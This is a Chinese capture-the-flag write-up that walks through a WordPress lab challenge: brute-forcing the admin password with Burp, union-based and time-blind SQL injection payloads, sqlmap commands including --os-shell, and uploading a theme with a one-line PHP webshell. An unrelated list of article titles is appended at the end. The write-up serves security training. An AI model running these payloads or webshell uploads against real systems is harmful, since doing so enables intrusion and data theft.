一、前期准备

根据比赛规则所知,这是一道综合web渗透题,题目一共包含5个flag。

首先我们访问靶场地址:http://192.168.60.5

通过分析可以得出,该网站为一个个人博客,使用的CMS是WordPress5.8.2,编程语言是PHP,数据库是MySql,操作系统是Debian,使用的WordPress主题是Zakra。

接着我们使用nmap对该IP进行目录扫描:

发现该IP仅开放了80(sql)和3306(mysql)端口,因此判断flag可能就藏在WordPress网站或者数据库中。

二、【宝藏1】

1.登录网站后我们首先看到一篇叫【你好!冒险家!】的文章。

2.阅读之后我们知道了题目一共设置了5个flag。另外我们还发现了一行蓝字,让我们可以去武器库看看。

3.找到武器库后,我们发现里面内置了一些工具,猜测可能与解题有关。根据介绍推出可能有编码题、目录泄露、爆破、SQL注入题等题型。

4.回到首页我们发现还有第二篇博客,名字叫【第一个宝藏】,想必这里应该藏匿了第一个flag。

5.我们访问后,发现是一串看不懂的字符串,但是根据提示说可能和密码学有关,而且有张写着b64的图片,猜测该字符串可能经过base64编码了,我们又想到武器库中有base64解码器,于是去解码试试。

6.解密后得到第一个flag{G1ft_At_F1rst_S1ght}

三、【宝藏2】

1.在武器库中我们还发现了目录扫描工具。

2.于是我们尝试对文章目录进行扫描,看看有什么可以利用的点。

3.我们发现了有www.zip,robots.txt等文件。

4.于是我们先尝试访问robots.txt,发现题目提示第二个宝藏可能在/wp-admin这个目录下面。

5.于是我们访问这个目录,发现是WordPress的管理后台。

6.我们右键查看源代码看看有没有源码泄露的问题。

7.右键查看源码,通过搜索flag字段我们发现了第二个flag,flag{YOur_Are_s0_Lucky_This_1s_Fl4g}

四、【宝藏3】

1.打开刚刚下载的www.zip,发现是网站源码,对源码全局搜索"flag{"字段发现dashboard.php中存在flag,但是内容被隐去。

2.我们发现该文件位置在wp-admin下,猜测可能是管理员用户的文件,想要读取这个文件需要进入管理后台。

3.另外根据武器库的提示,我们发现有一个爆破字典6000.txt,猜测可能需要爆破才能进入管理后台。

4.根据文章发布的作者,我们发现系统后台应该存在一个admin用户。

4.于是我们打算使用武器库提供的6000.txt爆破字典进行弱口令爆破。

5.打开bp抓去后台登录包,将其发送到intruder模块进行爆破,其中log=admin不变,设置pwd的值为变量。

6.通过对响应包对长度进行排序,发现当pwd=x12345678的时候包长度和其它包不一样,推测WordPress的后台密码可能为x12345678

7.使用admin/x12345678进行验证,发现登录成功,获取到第三个flag,flag{The_c0de_1s_0pen_Sesame}。

五、【宝藏4】

1.根据题目关键字“数据仓库”和武器库中包含sqlmap,猜测第4个宝藏应该在数据库中,考点应该是sql注入。

2.打开www.zip发现致冒险家们.txt、wp-login.php和wp_lostpassword.php三个文件的修改日期和其它文件不一致,猜测出题人可能对这个三个文件进行了编辑。

3.打开“致冒险家们.txt”文件,发现提示大家进行代码审计。

4.于是对后面两个文件进行代码审计分析,发现wp_lostpassword.php中包含mysql对账号、密码、数据库名称以及select查询语句。

5.经过分析发现该查询语句没有进行任何过滤,直接将用户提交的参数【$username】拼接到select查询语句中进行数据库查询。另外不会审计的同学也可以通过自动化的审计工具进行代码审计。

6.通过文件名“wp_lostpassword.php”,可知该文件应该在忘记密码的地方,我们尝试在后台点击忘记密码去访问。

7.发现系统会把你输入的用户名带到系统中查询,而执行查询的文件操作的就是存在漏洞的“wp_lostpassword.php”文件。

8.通过测试语句1' or sleep(5)#,发先页面5s后才加载完成,证明数据库执行了休眠5s的操作,存在时间盲注。

9.通过输入paylaod:admin' order by 10# 不报错,而

admin' order by 11#  报错,可知该表存在十个字段值。

10.通过payload:1' union select 1,2,3,4,5,6,7,8,9,10# 可以判断回显字段。

11.发现回显点为第二位,证明可以进行联合注入。

12.于是我们把payload改为1' union select 1,version(),3,4,5,6,7,8,9,10#  成功查询了数据库的版本信息。

13.使用payload:1' union select 1,database(),3,4,5,6,7,8,9,10# 查询当前数据库。

14.后面我们来正式获取flag,flag{This_1s_My_Dad_G0ld_Bank} 。

a.1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3,4,5,6,7,8,9,10# 查库名

b.1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'wordpress'),3,4,5,6,7,8,9,10# 查表名

c.1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'flag'),3,4,5,6,7,8,9,10# 查列名

d.1' union select 1,(select flag from flag),3,4,5,6,7,8,9,10# 查flag

15.当然大家也可以使用武器库提供的sqlmap来直接获取flag。

通过bp抓post请求包保存为url.txt,然后使用sqlmap命令来进行sql注入:

python3 sqlmap.py -r url.txt --batch --dbs
python3 sqlmap.py -r url.txt --batch -D wordpress --tables
python3 sqlmap.py -r url.txt --batch -D wordpress -T flag --dump

16.当然有人可能想起来之前用nmap扫描发现主机对外开启了3306端口,并且我们也知道了数据库的账号和密码,是否可以直接用数据库管理工具连接读取flag呢?

答案是否定的。因为通过select user,host from mysql.user;

我们发现用户root的访问权限为localhost,表示root用户只支持本地访问,无法进行远程连接。

六、【宝藏5】

1.我们登录后台后,浏览了一下发现没有其它flag,猜测可能最后一个flag藏在Debian的服务器上,于是我们在后台寻找上传点,看看能不能上传webshell。

2.经过一番搜寻后,我们在外观-主题处发现了一个名字叫做websell的可疑主题,猜测可能是别人留下的后门。

3.但是我们不知道其真实路径,后来我们回想起我们在前期准备阶段了解到这个站点使用的是Zakra主题,而且我们现在手中又正好有这个网站的源码,这样我们就可以通过Zakra主题的位置来推测webshell的位置。

4.我们发现zakra中存在一个webshell.php。

5.我们后来打开发现原来是个假shell,内容为phpinfo。

6.虽然是假webshell,但是可以帮我确定位置,我们验证我们推测的地址是否可以直接访问,于是我们访问http://192.168.60.5/wp-content/themes/zakra/webshell.php。发现确实可以访问,证明我们推测无误。

7.目前有两个方案,一是去连接webshell主题中别人留下来的webshell,虽然我们可以推测出路径,但是我们不知道webshell的文件名和密码。另一方案是我们自己写一个webshell放到主题里面打包上传到网站中。

8.我们在主题处发现可以自己打包zip的主题压缩包进行上传。

9.于是我们修改zakra中webshell.php的内容为一句话木马。

10.然后重新打包上传。

11.发现此处也会爆出文件路径,我们直接点击替换,覆盖当前版本。

12.覆盖成功后参数使用webshell管理工具进行连接。

13.在根目录发现flag,flag{C0ngratu1at10n_0n_y0ur_Graduat10n}

七、思考

1.对sql注入不熟悉的同学其实可以先做【宝藏5】,然后使用webshell管理工具自带的数据库管理工具来直接读取【宝藏4】数据库中的flag。

2.没有找到【宝藏5】webshell上传点的小伙伴也可以通过【宝藏4】sql注入写shell的方式来直接向网站目录写入webshell。

python3 sqlmap.py -r url.txt --os-shell --batch

sqlmap写入的shell

直接读取flag

八、赛后复现

1.我已将本次赛题打包成镜像上传到dockerhub,想复现本次竞赛的同学可以自己拉取dokcer镜像。

使用方法:

#拉取docker镜像
docker pull kakaxi1996/acs_ctf:v5
#运行docker镜像,将容器内的80端口映射到本地80端口
docker run -d -p 80:80 kakaxi1996/acs_ctf:v5
#打开浏览器访问http://127.0.0.1即可

若想让除本机外的内网其它主机访问,需修改文件/var/www/html/wp-config.php中的以下地址为运行docker的宿主机对外的IP地址。

安徽公司红蓝军训练营-WriteUpDocker复现相关推荐

  1. 应聘/求职----北京IT公司红黑榜TOP100

    红榜Top100 1 北京金兰成科技有限公司 76.00 - 2 北京网康科技有限公司 74.29 - 3 瞬联软件科技 74.00 - 4 google 66.67 - 5 北京拓尔思信息技术有限公 ...

  2. 2008年3月it公司红黑榜/口碑榜

    红榜Top100 黑榜Top100 名次 公司名称 得分 名次 公司名称 得分 1 Google(谷歌)中国 63.68 1 南京宁网科技有限公司 -91.80 2 广东北电研发中心 53.33 2 ...

  3. 2008年6月it公司红黑榜/口碑榜

    红榜Top100  1 北京科瑞奇卡技术开发有限公司  60.00 ↑  2 上海劲信网络信息科技有限公司  58.60 ↑  3 Google(谷歌)中国  54.36 ↓  4 广东北电研发中心 ...

  4. 应聘/求职----上海IT公司红黑榜TOP100

    红榜Top100 1 SAP 51.47 ↓ 2 Sybase 50.97 - 3 上海e派信息技术有限公司 48.67 - 4 上海梦创信息技术有限公司 48.18 - 5 微软 47.39 - 6 ...

  5. 广东省-IT公司红黑榜排名

    红榜Top100 Order Company Name Point Change  1 百富计算机技术(深圳)有限公司  94.00 --  2 中国网通广州分公司  88.00 --  3 深圳市汇 ...

  6. 全国IT公司红黑榜排名(更新时间11月8日)

    红榜Top100 Order Company Name Point Change  1 日月光半導体(上海)有限公司  86.50 ↓  2 新疆信息发布网  80.63 ↓  3 上海方立数码科技有 ...

  7. 2006年IT公司(红/黑)榜前100名

      红榜Top100 Order Company Name Point Change  1 日月光半導体(上海)有限公司  65.68 ↓  2 上海华熙软件有限公司  65.15 ↑  3 上海瑞饶 ...

  8. windows opensshd 连接就close_基于Windows白名单执行Payload上线Metasploit 渗透红队笔记...

    渗透攻击红队 一个专注于红队攻击的公众号 大家好,这里是 渗透攻击红队 的第 17 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深), 不出意外每天一更 基于白名单绕过 测试环境 攻击机 ...

  9. 亚信安全与安徽电信共创“云网融合”安全新局面

    全面提升公共安全能力  联合推"天翼U盾"保障移动政务安全 在近日举办的安徽"互联网+"产业合作峰会上,亚信安全宣布与中国电信安徽公司达成战略合作,双方将在&q ...

  10. 16含风光水的虚拟电厂与配电公司协调调度模型(场景削减MATLAB程序)

    代码地址: 含风光水的虚拟电厂与配电公司协调调度模型-MATLAB复现场景削减部分_含风光水的虚拟电厂与配电公司协调调度模型-电子商务文档类资源-CSDN文库 参考文献 含风光水的虚拟电厂与配电公司协 ...

最新文章

  1. Xilinx FPGA开发工具总结
  2. 内存屏障在硬件层面的实现原理
  3. 初学python还是swift-Swift 势必取代 Python?
  4. python学习笔记1.1
  5. 学生查询成绩登录2021高考查分,2021学情达成绩查询登录app
  6. ckeditor_3.6.6.2+CKFinder2.0.2配置
  7. 微软Silverlight,你应该知道的10件事
  8. django 中datetimefile 问题
  9. iOS开发-网络-合理封装请求接口
  10. zynqpl端时钟_zynq中纯PL编程 - CSDN博客
  11. Hello,Views(五)自动填充文字AutoCompleteTextView(附源码)
  12. 单片机通过改变占空比改变电机转速c语言,直流电动机的调速 用单片机产生PWM控制...
  13. ssci源刊里有开源期刊吗_ssci源刊里有开源期刊吗_啥是核心期刊?啥是北核啥是南核?啥是国家级?啥又是省级?都给你整明白......
  14. python列索引行的数据公式_python中pandas数据分析基础3(数据索引、数据分组与分组运算、数据离散化、数据合并)...
  15. 机器学习实战(Machine Learning in Action)学习笔记————09.利用PCA简化数据
  16. 笔试面试常见逻辑题及答案
  17. Python3入门教程::Excel 基础操作(下)
  18. 佳能EOS20D本站真机评测 下
  19. C++函数模板与类模板的区别
  20. 6617: Finite Encyclopedia of Integer Sequences

热门文章

  1. 一木.溪桥---Python之简介、环境搭建、PyCharm配置
  2. 寻找NOD32升级服务器不求人
  3. 理论力学知识要点归纳(三)
  4. 计算机word公式平均数,平均值word公式怎么用?
  5. Leetcode 5855 数组第K大的整数
  6. Ubuntu 查看IP、网关及DNS
  7. 汉字读音表GB2312版 (共7809个汉字)
  8. Python 编码检测与编码转换
  9. 二层、三层与四层交换机
  10. the CBD process terminated